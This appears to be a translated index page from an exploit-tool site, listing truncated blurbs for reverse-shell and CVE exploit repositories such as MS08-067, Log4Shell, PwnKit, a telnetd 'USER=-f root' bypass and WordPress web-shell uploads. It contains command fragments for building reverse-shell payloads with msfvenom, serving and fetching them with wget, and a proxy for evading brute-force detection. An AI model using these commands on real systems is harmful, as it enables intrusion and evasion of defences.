nim-reverse-shell

nim-reverse-shell nim-reverse-shell 例: root@kitploit: sudo apt install nim それに応じてスクリプトを更新してください root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget http://tun0:8888/spoofer-scheduler.exe -o...

MS08-067

MS08-067 | CVE-2008-4250 参考: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN シェルコードの生成 シェルコードを生成するために msfvenom を使用します。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 これは、Pwn2Own 2021 で Netgear R6700v3 にリモートシェルを取得するために 使用されたコードです。 ブログ記事: https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 必要条件 flask 付きの python3 dnsmasq 使用方法 1. ifname をルーターに接続されているインターフェース名 例: eth0 として、root で ./play.sh ifna...

IPSpinner

🔁 IPSpinner IPSpinner は、選択したさまざまなプロバイダーにすべての受信リクエストをリダイレクトできるローカルプロキシです。目的は、各リクエストの送信元 IP アドレスをローテーションするパススループロキシを作成することです。例えば、IPSpinner を介してブルートフォース攻撃を実行すると、サーバーは何百もの異なる IP アドレスからリクエストを受信するため、検知を回避するのに役立ちます。 IPSpinner は現在、AWS API Gateway、Azure Cloud Shell、GitHub GitHub Actions に対応しています。 目次 1...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 2026年にまだtelnet？マジで？そろそろ次に移ろうよ。SSHは1995年からあるんだぞ。 🤦 説明 GNU Inetutils telnetd のバージョン 1.9.3 から 2.7 に影響を与える深刻な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnet オプションを悪用して、login1 に悪意のある引数を注入します。telnet プロトコル経由で USER=-f root を設定することで、攻撃者は認証をバイパスし、認証情報なしで root...

Rainstorm

BadBash は、CVE-2014-6271 の RCE エクスプロイトツールです。基本バージョンは HTTP CGI サイトのみをチェックし、ポート 1234 で netcat リバースシェルのみを提供します。 開発者 : Andy Yang バージョン : 0.1.0 ライセンス : GPLv3 ================================================================================================ RainMak3r@Could:/Desktop ruby BadBash.rb -h...

PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

CVE-2021-4034

CVE-2021-4034 polkit 権限昇格エクスプロイトのための 1 日 make と ./cve-2021-4034 を実行するだけで、root シェルを手に入れられます。 実際の作者による元のアドバイザリは こちら PoC エクスプロイトが動作すると、すぐに root シェルが取得できます。 root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-403...

CVE-2021-44228

Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...

cve_2022_0492

シェルスクリプトテンプレート プロフェッショナルなコマンドラインツールを作成するための、カラー化された出力フォーマットとユーティリティ関数を備えたモダンなBashスクリプトテンプレート。 特徴 🎨 カラー化された出力 : 事前定義されたカラースキームとフォーマット関数 📝 標準化されたメッセージ : 一貫した情報、成功、警告、エラーメッセージフォーマット 🔧 ユーティリティ関数 : 一般的なシェルスクリプト操作のためのすぐに使える関数 📦 モジュール設計 : プロジェクト間で簡単に再利用できる独立したライブラリファイル ⚡ 簡単セットアップ : 即時使用のためのシンプルなソースメカニズム...

ClearML-CVE-2024-24590

root@kitploit: / | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle Artifact Upload PoC...

CVE-2025-32118

🚀 CVE-2025-32118 - WordPress CMP プラグイン RCE エクスプロイト 🔍 タイトル: WordPress CMP – Coming Soon & Maintenance プラグイン = 4.1.13 - リモートコード実行 RCE 🗓️ 公開日: 2025-04-04 🔐 CWE: CWE-434 - 危険なタイプのファイルの無制限アップロード 📊 CVSS: 9.1 緊急 — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 📜 説明 WordPress 用の CMP – Coming Soon &...

CVE-2024-51793

🛡️ WordPress RepairBuddy プラグインのエクスプロイト 📜 CVE 情報 CVE-ID: CVE-2024-51793 公開日: 2024-11-11 更新日: 2024-11-11 タイトル: WordPress RepairBuddy プラグイン = 3.8115 - 任意ファイルアップロードの脆弱性 説明: Webful Creations Computer Repair Shop における危険なタイプのファイルの無制限アップロードの脆弱性により、Web サーバーへの Web シェルのアップロードが可能になります。この問題は Computer Repair...

CVE-2024-56249

🛠️ WordPress Master Toolkit エクスプロイト CVE-2024-56249 🌟 概要 このスクリプトは、WordPress WPMasterToolKit プラグインの任意ファイルアップロードArbitrary File Uploadの脆弱性を悪用し、攻撃者がサーバーにウェブシェルをアップロードできるようにします。この脆弱性はプラグインのバージョン 1.13.1 以下に存在します。 📝 CVE 詳細 CVE ID : CVE-2024-56249 公開日 : 2025-01-02 更新日 : 2025-01-02 説明 : Webdeclic...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 root@kitploit: Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set...

cve-2022-42475-Fortinet

cve-2022-42475 PoCコード: FortinetのSSLVPNデーモンにおけるヒープオーバーフローを悪用する 使用方法 pip install pwntools このコードを使用するには、ファイル（例: exploit.py）に保存し、Pythonでコマンドラインから必要な引数を指定して実行します。以下はエクスプロイトを実行するコマンドの例です。 python exploit.py はターゲットシステムのホスト名またはIPアドレス、 は脆弱なサービスのポート番号、...

CVE-2024-22274-RCE

CVE-2024-22274 エクスプロイト このリポジトリには、CVE-2024-22274 のエクスプロイトが含まれています。このエクスプロイトは、SSH 経由でリモートマシンに新しいユーザーを作成し、その後 root シェルを提供します。 要件 マシンに Go Golang がインストールされていること。ダウンロードは こちら から行えます。 SSH アクセスが可能なリモートマシン。 コンパイル 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.g...

CVE-2022-46169_POC

CVE-2022-46169 用エクスプロイト リバースシェルを取得する root@kitploit: cactiexploit.py...

CVE-2024-1874

CVE-2024-1874 CVE-2024-1874 の概念実証 procopen の配列形式の $command パラメータを介したコマンドインジェクション（CVE-2024-1874 修正の回避） The CVE: PHP バージョン 8.1. の 8.1.29 未満、8.2. の 8.2.20 未満、8.3. の 8.3.8 未満において、CVE-2024-1874 の修正は、コマンド名に末尾のスペースが含まれる場合に機能しません。元の問題: procopen...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot ローカル権限昇格 ExploitDB ID: 52352 🧠 概要 このリポジトリは、Sudo 1.9.14 – 1.9.17 のバージョンに影響する深刻なローカル権限昇格 LPE 脆弱性を文書化しています。 この脆弱性は、sudo -R --chroot オプションの誤った実装に起因し、sudoers ファイルで許可されていなくても 、攻撃者がroot 権限でコマンドを実行 することを可能にします。 🔥 結果: 権限のないユーザー → root シェル 🧩 影響を受けるコンポーネント ソフトウェア: sudo...